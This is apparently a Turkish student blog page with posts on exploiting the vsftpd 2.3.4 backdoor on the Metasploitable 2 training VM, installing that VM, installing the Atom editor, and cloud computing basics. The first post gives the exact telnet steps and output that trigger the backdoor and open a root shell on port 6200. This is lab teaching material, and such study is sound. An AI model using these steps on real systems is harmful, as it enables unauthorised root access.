Bu yazımda kurulumunu anlattığım Metasploitable 2'nin, 21.portunda çalışan FTP sunucusununvsftpd programı ile ilgili bir şeyler karalayacağım.
Öncelikle Metasploitable2'ye login oluyoruz. Bize zaten Kullanıcı adı ve Parolamızı hatırlatıyor. :)
Daha sonra
$ ifconfig komutu ile makinenin IP alıp almadığını kontrol ediyorum.
Kendi makinem ile aynı ağda olmasını istediğim için öncelikle kendi makinemdeki terminale gelerek:
$ ifconfig komutunu yazıyorum.
Ve vboxnet0'n IP adresinin 192.168.56.1 olduğunu görüyorum. Şimdi bende Metasploitable 2'yi kendi makinem ile aynı ağda olacak şekilde bir IP adresi atıyorum.
Bunları yapabilmek için öncelikle süper kullanıcı(root) olmam gerek. Çünkü ifconfig komutu /sbin/ifconfig/ dizini altında bulunuyor ve /sbin/ dizininde normal kullanıcı iken ya da root iken işler farklı ilerliyor. Yapılandırma yapabilmek için root olmam gerekiyor.
# ifconfig eth0 192.168.56.42 netmask 255.255.255.0 up komutunu yazıyorum.
Sadece IP adresi atamam yetmiyor. Bir Yönlendirici adreside atamam gerek. Bunun için de:
# route add default gw 192.168.56.1 komutunu yazıyorum.
Daha sonra benim makinemle haberleşebiliyor muyum diye ping atıyorum yani bir ICMP paketi gönderiyorum.
Sıra geldi kendi makinemde nmap ile tarama yaparak Metasploitable 2'nin portlarını ve o portlarda açık olan servisleri görmeye, kendi makinemin konsolunu açarak:
$ nmap 192.168.56.0/24 yazıyorum.
192.168.56.1 IP adresli kendi makinemi ve 192.168.56.42 IP adresli Metasploitable 2'ı gördü.
Şimdi kendi makinemde root olarak Telnet ile Metasploitable 2'de oturum açacağım.
Öncelikle Telnet Nedir dersek , bir makineye uzaktaki başka bir makineden bağlanmak için geliştirilen bir TCP/IP protokolü ve bu işi yapan programlara verilen isimdir.(vikipedi :) )
Telnet ile bir şeyler yapabilmek için kendi makinemde root oluyorum.
# telnet 192.168.56.42 21 (Metasploitable 2'nin 21.portunda çalışan serviste oturum açmaya çalışıyorum.)
Trying 192.168.56.42...
Connected to 192.168.56.42.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
Bu işlemi yaptığımızda karşı makinede yani Metasploitable 2'de 6200.port aktif hale geliyor. Başta taradığımızda sadece 6000. ve 6667.portlar açıktı.
# telnet 192.168.56.42 6200
Trying 192.168.56.42...
Connected to 192.168.56.42.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
Bu işi daha iyi anlamak ve özümsemek için bu sayfaya bakabilirsiniz. Bilgisayar Ağları dersinden bugünlük bu kadar ile yetindik, umarım faydalı oluyordur. :))
Kolaylıklar diliyorum. :)
Etiketler:
backdoors,
metasploitable2,
nmap,
telnet,
zafiyetler
Virtualbox Üzerine Metasploitable 2 Kurulumu
Metasploitable Nedir ?
Metasploitable, hedef sistemlere sızma sırasında yapılan saldırılar için bir deneme, öğrenme ortamı olarak Metasploit tarafından oluşturulmuştur. Sistem bir çok zafiyet barındıran, Linux bir sanal makinadır. Virtualbox’a kurulabilir.
Öncelikle buradan metasploitable-linux-2.0.0.zip paketini indirmeliyiz. İndirdikten sonra paketin indirildiği dizine:
$ cd İndirilenDizin/ ile geçiş yaparak.
$ unzip metasploitable-linux-2.0.0.zip komutu ile paketi açıyoruz.
Ve aşağıdaki ekran görüntüsünde olduğu gibi Metasploitable kurulumuna başlıyoruz.
Name yerine istediğinizi yazabilirsiniz.
Type ve Version ekran görüntüsünde olduğu gibi olmalıdır.
Next diyoruz.
Next diyoruz.
Şimdi ki aşamada ise "Use an existing virtual hard drive file" seçeneğini işaretleyip. Sağ kısımdan Metasploitable'n olduğu dizine gidip Metasploitable.vmdk'yi seçiyoruz ve Open dedikten sonra Create diyerek kuruluma devam ediyoruz.
Create demeden önce işlemleri yaptıktan sonra ki son görünüm aşağıdaki gibi olmalı.
Virtualbox üzerinden Start'a bastığımızda aşağıdaki şekilde makina açılır.
msfadmin/msfadmin
Yalnız Metasploitable kullanırken 'i' harfi için 'ı' harfine basmamız gerekiyor, Unutmayalım. :)
******Bunu internete bağlı bir makineye, internete açık bir şekilde kurmamak gerek. Sadece kendi bilgisayarımızla haberleşecek şekilde kurmamız gerekir. Aman dikkat edelim. :)
Bunu da Virtualbox'ı açtıktan sonra File > Preferences > Network dedikten sonra Host-only Networks'e basıp. Artı'ya tıkladığımızda ayarlamış oluyoruz.
Şimdiden kolay gelsin :)
10 Ekim 2016 Pazartesi
Ubuntu 14.04'te Atom Editörü Kurulumu
Atom editörünün kurulumunu gerçekleştirmek için öncellikle terminalimizi(Ctrl+Alt+T) açıyoruz.
Öncelikle repoyu ekliyoruz :
$ sudo add-apt-repository ppa:webupd8team/atom
Root parolanızı soracak, girip Enter tuşuna basın.
Terminalde bu şekilde bir çıktı belirecek. Devam etmek için [ENTER]'a basmamız gerekiyor.
Şimdi de repoyu güncelleyelim:
$ sudo apt-get update
Biraz zaman alacaktır, bekleyelim.
Son olarak atomu yükleyelim:
$ sudo apt-get install atom
Kurulumumuz bitti. Arama kısmına Atom yazarak kullanmaya başlayabilirsiniz. Şimdiden kolay gelsin :)
8 Ekim 2016 Cumartesi
Bulut Bilişim
Bulut bilişim (Cloud computing) veya işlevsel anlamıyla çevrimiçi bilgi dağıtımı; bilişim aygıtları
arasında ortak bilgi paylaşımını sağlayan hizmetlere verilen genel addır.
Bulut bilişim bu yönüyle bir ürün değil, hizmettir; temel kaynaktaki
yazılım ve bilgilerin paylaşımı sağlanarak, mevcut bilişim hizmetinin; bilgisayarlar ve diğer aygıtlardan bilişim ağı üzerinden kullanılmasıdır.
Sahip olduğunuz tüm uygulama, program ve verilerinizin sanal bir
sunucuda yani bulutta depolanmasını sağlayabilir ve internete bağlı olduğunuz herhangi
bir ortamda cihazlarımız aracılığıyla bu bilgilere, verilere,
programlara kolayca ulaşabiliriz.
Bulut hizmeti satın alırken; Gartner raporu, servis sağlayıcının sizin çalıştığınız sektördeki referansları, hukuki zorunluklar, hizmetin sunulduğu coğrafi lokasyon, dikkat edilmesi gereken başlıca önemli noktalardır.
- Düşük Donanım ve Yazılım Maliyeti
- Gelişmiş Performans
- Anında Güncelleme
- Sınırsız Depolama Kapasitesi
- Artırılmış Veri Güvenliği
- İşletim Sistemleri Arasında Geliştirilmiş Uyum
- Artırılmış Dosya Formatı Uyumu
- Grup Çalışması
- Gizlilik ve Güvenlik
- Esneklik ve Verimlilik
Dezavantajları
- Sabit İnternet Bağlantısı Gerektirmesi
- Düşük Hızlarda Düzgün Çalışmaması
- Güvenlik Açıkları
- Sistem Güncellemeleri
Bulut depolama hizmetlerine en iyi örnekler:
Bulut hizmeti Bilişim’de müşterilere üç temel hizmet sunuluyor:
PaaS(Platform as a Service) : Kullanıcı, belirli bir platformla
(genellikle Java, Python gibi platformlarıyla) uyumlu olan
uygulamalarını zengin bir ortamdan yararlanarak kullanıyor. Bu ortamda iş
kuyruğu yönetimi, veriye erişim, uygulamalar arası iletişim gibi
araçlar sunuluyor. Google App Engine ve Microsoft Azure Platform
Hizmetine örnek gösterilebilir.
SaaS(Software as a Service) : Kullanıcı, önceden belirlenmiş
uygulamaları doğrudan Web tarayıcısından çalıştırıyor. Bu uygulamalar
farklı kullanıcılar tarafından aynı kolaylıkla kullanılmak üzere
tasarlandığı için, iş ihtiyaçlarına özgü tasarımlara veya özel
yapılandırmalara izin vermiyor. ‘SalesForce.com’
yazılım hizmetine örnek gösterilebilir.
Etiketler:
Bulut Bilişim,
Bulut Nedir?,
IaaS,
PaaS,
SaaS
Kaydol:
Kayıtlar (Atom)